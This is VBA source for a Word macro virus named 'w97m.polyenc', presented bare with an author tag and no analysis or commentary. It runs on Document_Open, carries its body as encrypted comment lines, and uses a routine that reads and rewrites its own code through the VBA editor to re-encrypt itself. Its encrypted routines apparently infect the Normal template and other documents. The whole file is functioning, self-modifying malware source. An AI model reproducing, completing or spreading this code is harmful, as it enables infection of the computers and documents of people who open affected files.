'c0d3 d3 pr0t0z00
'w97m.polyenc

Private Sub Document_Open()
Application.EnableCancelKey = wdCancelInterrupt
If Application.Windows.Count > 1 Then ActiveDocument.Close
Call SmeXeH_5 '
Call SkdBb9_5
End Sub
Private Sub SkdBb9_5()
'IS�����������\�����ʆ����ؖ��@z@�Ȇ����ؒ��������
'IS����@��h�p�j
'IS����@��ʰʐ�j
'IS�����������\�����ܪ�������@z@�����
'IS�������\��������������@z@�����
'IS�����������\������������@z@�Ȃ��������
'IS���Ȅ����\������ʂ��ޚ�����@`
'IS��@�����P���������\����R@x|@D������D@����
'IS���@����f�j@z@�����ʈ�������\���������\������������PbR\���ʚ�����
'IS���@���`��j@z@�����ب�������\���������\������������PbR\���ʚ�����
'IS��@�����P���`��j\�����PhX@bRX@bR@z@DND@����@�ި�@�l��l־j
'IS�ި�@�d�f�־jt
'IS���@��
'IS�l��l־jt
'IS���@����f�j@z@�����ب�������\���������\������������PbR\���ʚ�����
'IS���@���`��j@z@�����ʈ�������\���������\������������PbR\���ʚ�����
'IS��@�����P���`��j\�����PhX@bRX@bR@z@DND@����@�ި�@�†nΘ�j
'IS�d�f�־jt
'IS�����j@z@����f�j\�����PbX@����f�j\�����̘����R
'IS���`��j\�����ʘ����@bX@���`��j\�����̘����
'IS���`��j\����������@bX@�����j
'IS�†nΘ�jt
'IS���p��l@z@D�rn�\���jj�f�@P�`�f@�f@�ff�L�fj��`�R\D
'IS����@D�t����ކ���\���D@���@������@��@Fb
'IS�����@FbX@D���jj�f�\D
'IS�����@Fb
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Function SxX4a8_5()
'IS�����������\�����ʆ����ؖ��@z@�Ȇ����ؒ��������
'IS���@���d�־j@z@b@��@�����������\���\���ʠ����\�����
'IS��@�����P�����������\���\���ʠ����P���d�־jR\���ʚ�����\�����PhX@bRX@bR@z@DND@����@�ި�@���얾j
'IS����@���d�־j
'IS���얾jt
'IS�@z@D�D
'IS���������t@��d�jԾj@z@���P���PPr`@Z@lj@V@bR@T@���@V@ljRR
'IS���������t@��f�r�j@z@���PPr@T@���R@V@`R
'IS���@�j�j�־j@z@�����������\���
'IS���@����b�j@z@d@��@�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����̘����
'IS���h�p�j@z@���P�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����P����b�jX@bRR
'IS���@����p�j@z@b@��@���h�p�j
'IS����`¾j@z@���P�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����P����b�jX@bRX@����p�jX@pR
'IS��@���P����`¾jX@nX@bR@z@�@����
'IS���h�p�j�@z@���P����`¾jR@Z@f
'IS���@���r�j@z@b@��@���h�p�j�
'IS���@��ښ�j�jPpR
'IS�`�l���j@z@���P����`¾jX@���rΤ�j@V@bX@bR
'IS��ښ�j�jP���rΤ�jR@z@�`�l���j
'IS����@���r�j
'IS�����`¾j@z@��d�jԾj@L@��ښ�j�jPjR@L@��ښ�j�jPbR@L@��ښ�j�jPdR@L@��ښ�j�jPfR@L@��ښ�j�jPhR@L@�@L@��f�r�j
'IS���@�����f�j@z@b@��@���h�p�j
'IS��@����P����`¾jX@pR@z@���P�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����P����b�jX@bRX@�����f�jX@pR@����
'IS���j�j�j@z@����P�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����P����b�jX@bRX@����p�j@Z@bR
'IS���f�r�j@z@���P�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����P����b�jX@bRX@���P���j�j�jR@V@rX@���h�p�jR
'IS����r�j@z@���j�j�j@V@�����`¾j@V@���f�r�j
'IS�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\�����ʘ����@����b�jX@b
'IS�j�j�־j\���ʠ����P���d�־jR\���ʚ�����\����������@����b�jX@����r�j
'IS���@��
'IS����@�����f�j
'IS���@��
'IS����@����p�j
'IS����@����b�j
End Function
Private Function SmeXeH_5()
Application.EnableCancelKey = wdCancelInterrupt
'If Application.ShowVisualBasicEditor = True Then Exit Function
For SuO3dB_5 = 1 To 2
For SvaCm8_5 = 1 To Application.VBE.CodePanes.Count
If Right(Application.VBE.CodePanes(SvaCm8_5).CodeModule.lines(4, 1), 1) = "'" Then
S37LtD_5 = Application.VBE.CodePanes(SvaCm8_5).CodeModule.CountOfLines
If SuO3dB_5 = 1 Then SooTk2_5 = 8: SV19gv_5 = 69
If SuO3dB_5 = 2 Then SooTk2_5 = S37LtD_5 - 65: SV19gv_5 = 33
Set S2XQnZ_5 = Application.VBE.CodePanes(SvaCm8_5).CodeModule
For SshHh8_5 = SooTk2_5 To S2XQnZ_5.CountOfLines - SV19gv_5
SkrRr8_5 = S2XQnZ_5.lines(SshHh8_5, 1)
For SciIiL_5 = 1 To Len(SkrRr8_5)
If Left(S2XQnZ_5.lines(SshHh8_5, 1), 1) = "'" Then
SRhA5c_5 = Chr(Asc(Mid(SkrRr8_5, SciIiL_5, 1)) / 2): GoTo SKC2h2_5
End If
SRhA5c_5 = Chr(Asc(Mid(SkrRr8_5, SciIiL_5, 1)) * 2)
SKC2h2_5: SAiL3e_5 = SAiL3e_5 + SRhA5c_5
Next SciIiL_5
S2XQnZ_5.DeleteLines SshHh8_5, 1
If Mid(SAiL3e_5, 2, 1) = "$" Then
S2XQnZ_5.InsertLines SshHh8_5, Mid(SAiL3e_5, 4, Len(SAiL3e_5))
GoTo SKC3h3_5
End If
S5tLxd_5 = Mid(S2XQnZ_5.lines(7, 1), 13, 1)
S2XQnZ_5.InsertLines SshHh8_5, "'I" + S5tLxd_5 + SAiL3e_5
SKC3h3_5: SAiL3e_5 = ""
Next SshHh8_5
End If
Next SvaCm8_5
Next SuO3dB_5
End Function